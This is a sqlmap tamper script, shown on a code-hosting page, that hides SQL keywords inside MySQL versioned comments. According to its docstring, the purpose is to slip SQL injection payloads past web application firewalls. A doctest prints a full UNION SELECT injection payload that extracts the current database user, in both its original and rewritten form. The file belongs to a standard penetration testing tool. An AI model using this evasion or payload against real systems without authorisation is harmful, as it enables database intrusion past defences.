Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
sqlmapproject
GitHub Repository: sqlmapproject/sqlmap
Path: blob/master/tamper/halfversionedmorekeywords.py
2983 views
1
#!/usr/bin/env python
2
3
"""
4
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
5
See the file 'LICENSE' for copying permission
6
"""
7
8
import os
9
import re
10
11
from lib.core.common import singleTimeWarnMessage
12
from lib.core.data import kb
13
from lib.core.enums import DBMS
14
from lib.core.enums import PRIORITY
15
from lib.core.settings import IGNORE_SPACE_AFFECTED_KEYWORDS
16
17
__priority__ = PRIORITY.HIGHER
18
19
def dependencies():
20
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s < 5.1" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
21
22
def tamper(payload, **kwargs):
23
"""
24
Adds (MySQL) versioned comment before each keyword
25
26
Requirement:
27
* MySQL < 5.1
28
29
Tested against:
30
* MySQL 4.0.18, 5.0.22
31
32
Notes:
33
* Useful to bypass several web application firewalls when the
34
back-end database management system is MySQL
35
* Used during the ModSecurity SQL injection challenge,
36
http://modsecurity.org/demo/challenge.html
37
38
>>> tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
39
"value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
40
"""
41
42
def process(match):
43
word = match.group('word')
44
if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS:
45
return match.group().replace(word, "/*!0%s" % word)
46
else:
47
return match.group()
48
49
retVal = payload
50
51
if payload:
52
retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", process, retVal)
53
retVal = retVal.replace(" /*!0", "/*!0")
54
55
return retVal
56
57